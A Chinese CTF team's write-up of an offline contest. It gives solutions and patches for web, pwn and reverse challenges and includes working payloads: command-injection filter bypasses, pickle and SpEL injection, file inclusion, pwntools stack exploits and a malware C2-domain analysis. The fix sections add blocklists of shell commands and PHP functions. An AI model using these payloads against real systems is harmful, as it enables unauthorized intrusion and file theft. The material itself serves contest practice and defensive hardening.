Summery

Web题太多,Pwn题太少,Fix的时候也是,5个web,1个pwn,pwn基本上改一个很小的地方就过了,基本上没有区分度。
由于早上是动态积分,下午fix是静态积分,我们在早上的时候由于Web先做的不是简单题,导致拿了第26血,没有加成,所以比第一名低40分。pwn也是,由于远程环境的环境和本地的差的太多了,本地一直打通,而远程一直不能通,导致了我们没有拿下全场这一道0解题,而且主办方甚至让我们拉Dockerfile (Ubuntu的某个版本),但是线下赛没有网,真无敌了吧。
不过最后我们也是拿下了第二名(1等奖),同校队伍7也通过赛后申诉拿下了属于自己的分,从12名到11名,成功进入决赛范畴,同样拿下一等奖🎇
2024-06-22T08:33:58.png

Web

cmphp

修改前端:把注释掉的js语句执行在devtools

根据提交后提示HIJKLMN,随便输入一些

/submit.php


function generateStringFromTime($timeStr, $length = 16) {
    $hash = hash('sha256', $timeStr);
    $result = substr($hash, 0, $length);
    return $result;
}

   ...代码略...

   sleep(x);   x<60秒,需要自行猜测
   $full_time = date('Y-m-d-H-i-s');
   sleep(x);   x<8秒,需要自行猜测
   $time = date('Y-m-d-H-i');
   $generatedString = generateStringFromTime($full_time);
   $filename = '/tmp/' . $generatedString;
   $content = $_POST['HIJKLMN'];
   ...代码略...
   file_put_contents($filename, $content);
   $log_entry = "$time 时间提交了一条内容\n";
   file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

   echo render_template('submit_success.html', ['time' => $time]);
}

timeStr加sha256取前16个字符

写脚本爆破日志

import httpx
import hashlib
def sha(s: str):
    return hashlib.sha256(s.encode()).hexdigest()[:16]

for i in range(0, 61):
    s = str(i).ljust(2, '0')
    ahs = sha(f"2024-06-18-10-31-{s}") # 从include.php?file=time.txt拿,这应该是第三行,前两个都是hint2024
    # print(s, ahs)
    txt = httpx.get("http://10.1.0.122:84/include.php?file=" + ahs).text
    if txt.find("防御") != -1:
        continue
    print(txt)

mysite

信息收集到robots.txt中有include.php

文件包含读文件

http://10.1.0.122:8887/include.php?file=/flag

mygame

访问html源码发现注释给了源码,随后进行源码审计

代码使用了不安全的pickle.loads,通过__reduce__函数可以rce,且该函数可控

追踪全局变量messages

发现只在路由/submit修改了键serialized,因此试图在此进行注入

变量idiomlength均可控,通过修改messages['mes']控制cmd_line

把这个设置为Header

LOG=b3M6c3lzdGVt   (os:system)

执行系统命令并写入idiom.txt获取回显

message['mes']='cat /flag>/usr/tmp/idiom.txt'

我们发现,这个输入前4个必须是中文,后面随意,我们就填4个中文(注意,第一个是上一个成语的接龙)

把下面的这个文本附加到 ?中中中 这四个中文之后,?是上一个接龙,中文字符。
cat /flag > /var/tmp/idiom.txt

注意到那个截取长度的函数可以是负数,我们填-30可以拿到后面的命令,
然后我们正常访问就可以在原先成语的地方出现flag。

myping

使用''来规避对cat,flag的检查,使用5个/来制造一个/(先拿到ping.php源码进行审计,详情请见fix_myping)

;c''at /////f''lag

即可直接拿到flag

spel

给附件了,阅读源码:org.example.ssppeell.MyController.java

public class MyController {
    @RequestMapping({"/spel"})
    public String spel(String season) {
        Seasons s = new Seasons();
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(season);
        EvaluationContext context = new StandardEvaluationContext(s);
        return exp.getValue(context).toString();
    }
}

直接读文件
urlencode payload

new%20java.io.BufferedReader(new%20java.io.FileReader('/flag')).readLine()

mylogin

注意到,给的两个账号中间一些地方不一样,我们分别对其进行解密

ADLYWIJuh7Dap ZWVodTIyMg== 3eVssA21qmLL
ADLYWIJuh7Dap eHZodTExMQ== 3eVssA21qmLL

分别是eehu222 xvhu111
由于和我们给的账户有点不一样,且这个形式让我们联想到了凯撒加密,我们进入CyberChef,发现ROT13如果是-3的话就是正确的用户名

CyberChef_v10.18.8/index.html#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)ROT13(true,true,false,-3)&input=ZUhab2RURXhNUT09

我们把这个替换成admin,Rot13操作码+3,然后base64放回去:

ADLYWIJuh7DapZGdwbHE=3eVssA21qmLL

然后通过浏览器更改Cookie,然后进入后找到一个任意读文件的输入框,绕过js限制可以读取到flag。

Pwn

guess

题目大概是那个漏洞函数会一直起子进程,bad函数里有栈溢出,子进程不会影响父进程,爆破canary,ret2shellcode

#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *

context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"

elf_path = './guess'
libc_path = ''

init_elf_with_libc(elf_path, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='10.1.0.122', port=10002, level=REMOTE, elf=elf_path)
# conn_context(args=[PRE_LOAD], interpreter='./ld-linux-x86-64.so.2')

elf = ELF(elf_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def func():
    canary = b'\x00'
    for i in range(1, 8):
        for j in range(0, 0x100):
            canary += p8(j)
            pad = b'a' * 0x18 + canary
            io.sendafter(b':\n', pad)
            if b'stack smashing' in io.recvuntil(b'thinking?'):
                canary = canary[:-1]
                continue
            break

    print(hex(u64(canary)))
    return canary

def exp():
    # io.sendafter(b':\n', b'a' * 0x18 + b'\x00\x00')

    shellcode = f"""
        mov rax, 0x67616c662f
        push rax
    
        mov rax, __NR_open
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        syscall
    
        mov rax, __NR_read
        mov rdi, 3
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    
        mov rax, __NR_write
        mov rdi, 1
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    """

    io.sendline(b'a' * 0x20 + asm(shellcode))

    canary = func()
    pad = b'a' * 0x18 + canary + b'a' * 0x8 + p64(0x40404020)
    # DEBUG()
    io.sendafter(b':\n', pad)
    io.sendafter(b':\n', pad)
    
    pass




try:
    exp()
    io.interactive()
finally:
    rm_core()

ezstack

简单的无 leak , 直接 csu + magic_gadget 一套秒.
大概的思路是使用已知的 libc 函数偏移, 使用错位构造的 magic_gadget 直接在内存中使用 csu 函数的一些部分在 bss 段上的 stdout 进行运算, 由于输入直接是 gets , 先构造一步 read , 再构造个 bss 段上的 orw 即可.

from pwn import *
#from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#io=process("./pwn")
io=remote("10.1.0.122",10001)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    pause()

add_ebx_gadget = 0x400847
csu_rbx_rbp_r12_r13_r14_r15=0x4009fa
csu_start = 0x4009e0
mainaddr = 0x4011b2
stdout = elf.bss()
bss = stdout + 0xc00
ret = 0x4006d6
#read_got=elf.got["read"]
leave_ret = 0x4008ff

padding = b'a' * 0x10

def add(off, addr=bss):
    return flat([
        csu_rbx_rbp_r12_r13_r14_r15,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_ebx_gadget,
    ])

offset_open = libc.sym.open - libc.sym._IO_2_1_stdout_
offset_read = libc.sym.read - libc.sym.open
offset_write = libc.sym.write - libc.sym.read
readoffset = libc.sym.read - libc.sym._IO_2_1_stdout_

payload1=padding+flat([
    ret,
    add(readoffset,stdout),
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 0, bss, 0x600,
    csu_start, 0, 0, bss, 0, 0, 0, 0,
    leave_ret
])
#debug()
io.sendline(payload1)

payload2=b"./flag\x00\x00"
payload2+=flat([
    csu_rbx_rbp_r12_r13_r14_r15,
    libc.sym.open-libc.sym.read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, bss, 0, 0,
    csu_start, 0, 
    offset_read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget, 
    csu_rbx_rbp_r12_r13_r14_r15,    
    0, 1, stdout, 3, bss-0x200, 0x40,
    csu_start, 0,
    offset_write, stdout+0x3d, stdout, 1, bss-0x200, 0x40,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 1, bss-0x200, 0x40,
    csu_start, 0,
])
#debug()
io.sendline(payload2)

io.interactive()

Fix

fix_mylogin

改进凯撒加密算法,添加一个随机密钥

sercret = 'pasaspdjapfjapsoidfjasdoifhweuqoudsfjjasodsfgoidisguoidsijgosdjinoidsfngit'

# 凯撒加密
def caesar_cipher(text, shift):
    crypt = True
    if shift<0:
        crypt=False
    result = ""
    iter = 0
    for char in text:
        if char.isalpha():
            shift_amount = 65 if char.isupper() else 97
            result += chr((ord(char) - shift_amount + shift + ord(sercret[iter])) % 26 + shift_amount) if crypt else chr((ord(char) - shift_amount + shift - ord(sercret[iter])) % 26 + shift_amount)
        else:
            result += char
    return result

fix_mygame

改进process_idiom,只允许length为正数

def process_idiom(idiom, length):
    if length < 0:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"
    chinese_idiom = extract_chinese(idiom, 4)
    if chinese_idiom and len(chinese_idiom) >= 4:
        messages["mes"] = custom_slice(idiom, length)
    else:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"

fix_myping

由于这个4的原因,导致我们可以造斜杠,我们把4去掉就修好了,这样永远不可能制造斜杠,就不能访问根目录了。

preg_replace('/\//', ' ', $ip_address, 4);
<!-- ping.php -->
<!DOCTYPE html>
.....部分省略
    <?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $ip_address = $_POST['ip'];
        $ip_address = preprocess_ip($ip_address);
        $command = "ping -c 4 " . $ip_address;
        echo "<div id=\"output\"> <p>当前执行的命令是: $command</p>";
        $output = shell_exec($command);
        echo "<pre>$output</pre></div>";
    }

    function preprocess_ip($ip_address) {
        // Replace flag to ''
        $ip_address = str_replace('flag', '', $ip_address);
        // Remove all spaces
        $ip_address = str_replace(' ', '', $ip_address);
        // Replace '/' with a space once
        $ip_address = preg_replace('/\//', ' ', $ip_address);
        // Filter common Linux commands
        $filtered_commands = ['nl', 'ruby', 'perl', 'python', 'vim', 'vi', 'cut', 'xxd', 'od', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}'];
        foreach ($filtered_commands as $cmd) {
            if (strpos($ip_address, $cmd) !== false) {
                $ip_address = '|echo "Limit KeyWord"';
                break;
            }
        }
        return $ip_address;
    }
    ?>
    </div>
</body>
</html>

fix_mysite

不允许包含以/开头的路径,杜绝越界访问

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    $file = str_replace("/flag", "???", $file);
    $file = str_replace("/tmp", "???", $file);
    if(substr($file, 0, 1) === "/") 
{
die();
}
    include($file);
}else{
    highlight_file(__FILE__);
}

fix_guess

题目本身漏洞是栈溢出, 在 bad 函数中的 read 可读 0x40字节, 改变可读字节数至 0x18 即可.

fix_cmphp

加固黑名单: 添加php到正则匹配列表

'/php/i',
'/flag/i'

限制时间回显长度: 根据时间格式,长度为固定16,因此限制,并且,检测返回内容是否含有flag

preg_match('/ciscn/i', $time)
<?php

include "modules/functions.php";


if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    sleep(2);
    $full_time = date('Y-m-d-H-i-s');
    sleep(1);
    $time = date('Y-m-d-H-i');
    $generatedString = generateStringFromTime($full_time);


//    $filename = '/tmp/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
    $filename = '/tmp/' . $generatedString;

    $content = $_POST['HIJKLMN'];

    if (empty($content)) {
        die(render_template('error.html', ['message' => '检测到HIJKLMN为异常空变量,已被防火墙拦截!']));
    }

//    if (preg_match('shell|exec|system|passthru|popen|proc_open|eval|assert|base64_decode/', $content)) {
//        die(render_template('error.html', ['message' => 'Potential WebShell detected!']));
//    }

    $forbidden_patterns = [
        '/shell/i',
        '/exec/i',
        '/system/i',
        '/passthru/i',
        '/popen/i',
        '/proc_open/i',
        '/eval/i',
        '/file_put_contents/i',
        '/`/i',
        '/assert/i',
        '/base64_decode/i',
        '/curl_exec/i',
        '/curl_multi_exec/i',
        '/parse_ini_file/i',
        '/show_source/i',
        '/array/i',
        '/func/i',
        '/uasort/i',
        '/p?f?open/i',
        '/preg_replace/i',
        '/create_function/i',
        '/include|require/i',
        '/php/i',
        '/flag/i'
    ];

    foreach ($forbidden_patterns as $pattern) {
        if (preg_match($pattern, $content)) {
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
        }
    }


    file_put_contents($filename, $content);

    $log_entry = "$time 时间提交了一条内容<br> \n";
    file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

    if(strlen($time) != 16 || preg_match('/ciscn/i', $time))
{
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
}
    echo render_template('submit_success.html', ['time' => $time]);
}

function render_template($template, $vars = []) {
    extract($vars);
    ob_start();
    include $template;
    return ob_get_clean();
}
?>

careful

题目给出了一个恶意样本,请分析出样本请求服务器的域名(flag的形式为DASCTF{md5(域名)}) 其中md5值都是小写

拖入IDA,发现是一个解析域名,并建立TCP链接的过程,建立这个链接后,recv通过拼接,来CreateProcessA,运行恶意代码。
2024-06-18T08:04:29.png
显然htons是端口(8888),inet_addr函数获取的是ip地址,ip地址是从gethostbyname函数来的。

  for ( i = 0; i < v4; ++i )
    name[i] = __ROR1__(*((_BYTE *)v13 + i), i & 7);

name的解密过程是上述这样的,我们动调后可以发现是welcome_toxxxxxx.com,我们尝试了一下是错误的答案。
通过x64dbg动态分析,我们可以发现调用了这个函数
2024-06-18T08:09:23.png
我们发现这个函数的调用堆栈有initterm,通过学习这个后,我们可以发现是全局变量的初始化过程。
2024-06-18T08:10:44.png
这个函数掌管了全局变量的初始化,可以注意到401010这个函数返回了一个BOOL,我们大概可以写出伪代码。

BOOL a = sub_401010();
int main(){
 ...
}

这样的话,sub_401010()函数会在main函数运行之前抢先运行,这样也就达到了提前修改代码(SMC)的目的。
SMC会把gethostbyname()函数的前5个字节jmp到下面这个函数
2024-06-18T08:13:04.png

name[0] = *a1 ^ 0x3D;
name[1] = a1[1] ^ 0x10;
name[2] = a1[2] ^ 0x1F;
name[3] = a1[3] ^ 0x17;
name[4] = a1[4] ^ 0x30;
name[5] = a1[5] ^ 0x2C;
name[6] = a1[6] ^ 0xB;
name[7] = a1[7];
name[8] = a1[8] ^ 0x35;
name[9] = a1[9] ^ 0x60;
name[10] = a1[10] ^ 0x16;
name[11] = a1[11] ^ 0x2C;
name[12] = a1[12] ^ 0x51;
name[13] = a1[13] ^ 0x43;
name[14] = a1[14] ^ 8;
name[15] = a1[15] ^ 0x45;
name[16] = a1[16] ^ 0x57;
name[17] = a1[17];
name[18] = a1[18];
name[19] = a1[19];
name[20] = a1[20];
name[21] = a1[21];

显然,通过SMC,动态修改了gethostbyname的行为,并且最后真正调用了gethostbyname
2024-06-18T08:14:06.png
相当于这是一个Hook,动态调试后,我们拿到真正的字符串

Just_An_APIH00k11.com

2024-06-18T08:15:22.png

DASCTF{f18566f93963f72f463fdfa2d163c37c}

R4ndom

程序在__libc_csu_init里面分别偷偷调用了a和b函数。
a函数负责进行ptrace反调试
2024-06-18T08:00:00.png
b函数则初始化了srand
2024-06-18T08:00:34.png
写一个cpp(在linux下运行,因为win和linux下rand不一样)
收集randTable(count=42)

#include <iostream>
using namespace std;

int main(){
        cout << "count:";
        int c;
        cin >> c;
        cout << "[";
        for(int i = 0;i < c; i++)
        {
                if(i != 0) cout << ", ";
                cout << rand();
        }

        cout << "]";
        return 0;
}

然后从程序里面抄出来Table放z3里面,并使用z3的Array和Select实现对于表的取值

table = [...]
z3Table = Array('z3-table', BitVecSort(8), BitVecSort(8))
for i in range(len(table)): s.add(z3Table[i] == table[i])
然后使用Select(x, i)  # x[i]
from z3 import *
table = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
randTable = [1339546161, 401979842, 1084912717, 882247430, 1048050849, 1950252444, 1188894224, 1035316485, 1004145938, 292996994, 698777994, 1572612448, 187344395, 1998928827, 490869405, 1976471722, 861192779, 1683160727, 1968082326, 1836887756, 1806801098, 176220730, 2616407, 375557835, 1798606494, 1079742625, 657352025, 1384338308, 1249182411, 600742620, 1626386373, 441244924, 1002722462, 563815442, 1323492354, 2050773311, 366584239, 364902931, 938606148, 1370730177, 657899925, 1637384142] 
ans = [0x3513AB8AB2D7E6EE, 0x2EEDBA9CB9C97B02, 0x16E4F8C8EEFA4FBD, 0x383014F4983B6382, 0xEA32360C3D843607, 0xA655]

aa = b""
for i in ans:
    aa += i.to_bytes(8, 'little')
ans = list(aa)

s = Solver()
x = [BitVec(f"x{i}", 8) for i in range(42)]

table_z3 = Array('t1', BitVecSort(8), BitVecSort(8))
for i in range(len(table)): s.add(table_z3[i] == table[i])

for i in range(42):
    v3 = x[i]
    v4 = randTable[i]
    s.add(Select(table_z3, (16 * ((v3 + v4 % 255) >> 4) + 15) & (v3 + v4 % 255)) == ans[i])
    s.add(x[i] >= 0x20)
    s.add(x[i] <= 0x7f)

print(s.check())
m = s.model()
for i in range(42):
    print(chr(m[x[i]].as_long()), end='')
sat
flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}